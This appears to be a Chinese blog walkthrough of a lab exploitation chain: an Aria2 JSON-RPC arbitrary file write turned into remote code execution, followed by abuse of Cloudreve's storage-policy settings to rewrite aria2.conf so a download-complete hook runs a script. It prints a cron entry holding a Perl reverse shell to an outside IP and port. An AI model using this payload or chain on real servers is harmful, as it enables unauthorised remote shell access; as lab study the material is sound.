Aria2&Cloudreve&任意文件写入到RCE

什么是Aria2

Aria2 是一个轻量级的命令行下载工具,支持多种下载协议,如 HTTP、FTP、SFTP、BitTorrent 和 Metalink。它以其强大的多源下载能力而著称,可以同时从多个服务器或对等节点下载文件,加快下载速度。Aria2 占用资源少,适合在服务器或嵌入式系统上使用,常用于需要高效、稳定下载任务的场景。由于它是命令行工具,用户通常配合像 YAAW 这样的 Web 前端界面来简化操作。

Aria2命令行常见操作

Aria2 常见的操作主要通过命令行进行,以下是一些基础操作的简单介绍:

1.下载单个文件

aria2c https://example.com/file.zip

这会从指定的 URL 下载文件到当前目录。

2.从多个源下载文件:

aria2c https://example.com/file.zip ftp://example.org/file.zip

Aria2 会同时从多个源下载文件,加快速度。

3.使用 BitTorrent 协议下载:

aria2c file.torrent

或者使用磁力链接

aria2c 'magnet:?xt=urn:btih:xxxxxxxx'

4.断点续传:

aria2c -c https://example.com/file.zip

如果下载中断,可以用 -c 参数继续下载未完成的部分。

5.批量下载:将多个下载链接写入一个文件(如 downloads.txt),然后使用:

aria2c -i downloads.txt

Aria2 会自动依次下载文件。

6.限制下载速度:

aria2c --max-download-limit=500K https://example.com/file.zip

这样可以将下载速度限制为每秒 500KB。

Aria2-Web

Aria2 的 Web 前端通常通过 RPC 接口与后台的 Aria2 交互,因此 URL 主要用于与 Aria2 的 JSON-RPC 服务通信。具体的 URL 结构取决于你使用的 Web 前端和服务器配置。以下是 Aria2 和一些常见 Web 前端相关的 URL:

  1. Aria2 的 JSON-RPC URL

Aria2 默认通过以下 URL 提供 JSON-RPC 服务:

  • http://<host>:6800/jsonrpc

其中:

  • <host> 是 Aria2 运行的服务器的 IP 地址或域名,localhost 表示本地主机。
  • 6800 是默认的 RPC 端口,用户可以在配置文件中更改。

例如:

http://localhost:6800/jsonrpc

这就是 Web 前端用来向 Aria2 发送 RPC 请求的 URL。

  1. 常见 Aria2 Web 前端

一些常用的 Aria2 Web 前端,如 YAAW ,会有自己的前端 URL,用于通过浏览器访问和控制 Aria2。以下是它们的 URL 示例:

YAAW(Yet Another Aria2 Web Frontend)

YAAW 是一个简单的 Web 前端,通常放置在Web 服务器中,并通过以下 URL 访问:

  • http://<host>:<port>/yaaw/index.html

例如:

http://localhost:8080/yaaw/index.html

3.设置 RPC URL 的位置

在 Web 前端的设置中,通常需要手动配置 Aria2 的 JSON-RPC URL,确保它能正确连接到你的 Aria2 服务器。这个 URL 通常是:

  • http://<host>:6800/jsonrpc

通过此配置,Web 前端可以通过 JSON-RPC 接口与 Aria2 后台进行通信,执行下载任务的管理操作。

总结起来,Aria2 的 Web URL 主要分为两部分:Aria2 的 JSON-RPC 接口 URL(如 http://localhost:6800/jsonrpc),以及不同 Web 前端的访问 URL(如 YAAW 或 AriaNg 的前端页面)。

Aria2任意文件写入漏洞

参考这篇文章

https://paper.seebug.org/120/#abstract

可以写入ssh公钥再带着私钥连接

也可以写/etc/cron.d来计划任务RCE

用vulhub的aria2环境

https://github.com/thedogb/yaaw-docker

用yaaw来web交互

先设置靶机的json-rpc路径

再设置下载任务,填写恶意shell的url,受害主机shell文件的存储路径(/etc/cron.d)

恶意shell

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="124.222.136.33";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

成功反弹shell

集成 Aria2--Cloudreve漏洞

Cloudreve 通过 RPC 接口 将 Aria2 的下载管理功能集成。通过这种集成,Cloudreve 能够利用 Aria2 的强大下载能力,提供更快速和多样化的文件下载体验,特别是适用于离线下载和加速下载场景。

/root/backup.sh 是一个备份脚本,我们尝试利用 Cloudreve 拿到这个文件的编辑权限

下面是对如何拿到一个文件的编辑权限的说明:

我们前往管理面板,在存储策略这里点击专家模式修改

这样进行设置,再在文件中进行导入

可以看到能够在根目录看到我们的文件

可以直接进行修改

这样就可以任意修改文件,修改/usr/aria2/aria2.conf,指定下载完成时需要运行的恶意脚本

dir=/usr/aria2/data
disable-ipv6=true
enable-rpc=true
max-download-limit=0
max-upload-limit=0
rpc-allow-origin-all=true
rpc-listen-all=true
rpc-listen-port=6801
rpc-secure=false
seed-ratio=0
seed-time=0
on-bt-download-complete=/root/backup.sh
on-download-complete=/root/backup.sh

先随便离线下载,重新加载aria2.conf

最后再上传一个离线下载任务触发/root/backup.sh

成功反弹shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值